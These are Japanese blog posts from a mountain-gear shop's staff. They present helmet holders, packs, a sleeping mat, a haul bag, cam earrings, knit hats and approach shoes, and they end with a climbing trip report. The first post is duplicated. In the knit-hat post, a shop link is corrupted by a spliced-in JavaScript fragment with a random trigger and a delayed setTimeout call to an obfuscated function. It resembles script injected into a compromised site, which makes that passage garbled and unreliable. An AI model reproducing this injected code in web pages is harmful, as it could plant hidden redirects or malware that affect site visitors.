こんにちは!。
MAMMUT社からヘルメットホルダーが登場です。
「HELMET HOLDER」@1,944(税込)
こんな感じのパッケージング。
色は、ブルーです!。
留め具はフック式。
ヘルメットホルダーも、シーズン毎に種類が増えていますね。そろそろどれが一番か答えを出すべきなのか・・・。というかそんな違いがあるのか・・・。
山の店デナリのスタッフが綴るブログです
こんにちは!。
MAMMUT社からヘルメットホルダーが登場です。
「HELMET HOLDER」@1,944(税込)
こんな感じのパッケージング。
色は、ブルーです!。
留め具はフック式。
ヘルメットホルダーも、シーズン毎に種類が増えていますね。そろそろどれが一番か答えを出すべきなのか・・・。というかそんな違いがあるのか・・・。
こんにちは。
マニア向け商材の入荷です。カムをモチーフにしたピアス、即ち「カムピ」。
見た感じ、3番かな?。
女性にプレゼントした場合、とっても喜ばれるのか・・・それとも何コレ?ってなるのか・・・それとも気持ちがあれば贈り物なんて何でも喜ばれるのか。
オールハンドメイド。メイドインドロミテ。
2点のみ入荷です、お店で見てみて下さい♪。
こんにちは。
新鮮みのある展示会レポートに、お盆らしいカーナビメイキングに、新商品の分析。
読み応えのある記事ばかりのココ最近・・・若干肩身が狭い・・・。
ですが、今回も変わらず店頭の商品紹介。
エーデルリッド社「サテライト20 ウルトラライト」。
560gという軽さ、確かにもっと軽量なアタックザックは存在します。しかし不足のない背面のフォームや、ユニークなデザインのコンプレッションベルト、そして肩の引き寄せロードリフター。そういう必要な機能を備えているという上での560gは確かに軽いです。生地の薄さでしっかり軽さを出しつつ、いい感じで機能性も兼ね備えています。
ショルダーベルトを調整するためのテープは、こんな感じで中空にしてあります。
特にロードリフター部は、 それぞれのテープが独立して動きますから、ただ前後に引き寄せるだけではなく、斜め方向などの引き寄せにも対応してくれます。
コンプレッションベルトは左右にそれぞれ2本ずつ。増設する必要なし、エーデルリッドらしい ユニークな構造です。
背負うとこんな感じ。しっかり体に張り付いて、ストレスがない。軽さだけを追っかけたザックには、こういうフィット感は出せません。
一口にアタックザックと言っても、いろんな種類があります。悩みがちですが、どこに重きを置くかで選んでゆくことができます。しかし、そもそもどこに重きを置くべきか、お客様は悩んだりする(笑)。
そういう意味では、悩みづらい、いい感じの味付けの良ザック。
こんにちは!。
THERMAREST社 PRO LITE。(サーマレスト社 プロライト。)
こちらです。
モデルチェンジしてきました。
①パンチングが縦方向から斜方向へ変更したので、畳みやすくなりました。
②R値が2.2から2.4へ。保温性が向上しました。
③自動膨張率が、フォームの変更により向上しました。すぐ膨らみます。
ウレタンマットにはない、コンパクト性があるエアマット。
遣い始めれば、パッキングは大分変わってきますね。
どうでしょう?。 NETSHOPでも、取り扱いございます。
こんにちは。
ヘリテイジから、新しいヘルメットホルダーがやって参りました。
まず四隅を連結。フックではなく、カラビナです。
たるみをとって・・・。
簡単ですね!。
そう、こちらのヘルメットホルダーは袋タイプなので、ヘルメットでなくても雨具でもなんでも、しまえます。そこが、ユニークな所!。
使わないときは、ボタンでパチンして折り畳めます。
どうでしょう?。ヘルメットホルダーも、選択肢が増えてきましたね。良いものを見つけてみてください。
こんにちは。
Black Diamond社のCREEK 50、入荷いたしました。
ホールバッグを、山でより機能的に使おうとしたらこうなります。
しっかり締め込めるロープコンプレッション。
正面にあるポケットには、トポ・ヘッデン・帽子などの小物を整理して収納することができます。
雨蓋はありませんが、レインフライがありますよ。
サイドジッパーは思い切り開くので、中の荷物を簡単に取り出すことができます。
どうでしょう?。 嬉しいことに(残念ながら?。)、当店入荷分は既に全て予約済み・・・。欲しい方は是非お問い合わせを!!。
こんにちは。
またまた在庫無くなってきたので、再入荷です!。
以前にもブログでご紹介させていただいた、andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andcrafted.jimdo.com/” target=”_blank”>「かわいいニットのお店 くりすたる」の帽子。
皆さん事前情報アリで来ているのかなぁ。いや、そういう感じでもなく、むしろ店頭で見て触れて被ってみて 気に入られて ご購入されているような感じです。
デザイナーご自身も山に登られる方で、ヘルメットの下に着用する必要があることや、登山における帽子内の湿度対策のことなど、よ〜くご存知でいらっしゃいます。
そのような方の、「ハンドメイド」は、非常に価値があるものだと思います。
是非お店で、被ってみて下さい!。
こんにちは!。
最近ネタに乏しい・・・。
というか、(新)商品と山に行く予定がなければ、takuちゃんねるは停滞してしまうのです。
で、 今回はevolv社「クルーザー」という商品のご紹介、アプローチシューズです。
再入荷しました!。
僕は3足持ってます。理由は単純、山でも街でも遣いやすいので、ついつい毎日履いてしまうからです。
1足だとさすがにダメージ大、気を遣って2足目購入、気がつけばもう1足我が家に、結果3足。
それはおいといて・・・。ご存知の通り踵が潰せる靴なので、スリッパ履きできます。テントや車中、ベースなどでは本当に楽です。
ソールは「ハイフリクション TRAXラバー」、フリクション良好です。10台も行けるかも!?。
そして、何よりもその小ささ!。こんな風にしてしまえば、ザックの雨蓋に入りますので別ルート下降時でも荷物が嵩張らない。同ルート下降でも、懸垂下降時に履き替えるだけで足は楽です。
「ツウ」なお客様から時々ご指名のかかるこの商品、もっと皆さん履かれてみてもいいのでは?。一万円札が一枚あれば買えるというのも、重要なポイントです。
どうでしょう?。
以下、参考文献です。
こんにちは!。
「突然の雷雨に注意して下さい !」という予報の中、とりあえず出発です。
現場に着くと、しっとりと濡れているお岩。いつ降り始めるのだろう、ま まずはスタートです。(空気ひんやり、やっぱりナノパフは必需品。)
マルチですが、初トラッドリードを下から見守ります。
フォローはフォローなりに、アプローチシューズで登ったり、微妙なサイズに入ったりしてみます。工夫次第ですね。
その後ボルダーへ転戦、岩はさすがにびしょ濡れ、ウェアもマットもずぶずぶです。でも、思い切り登りました。
なんとか夜まで天気が持ち、結果的に充実の1日になりました。車に乗った瞬間、雷雨。でも来て良かった。とりあえずいってみるのは、大事ですね。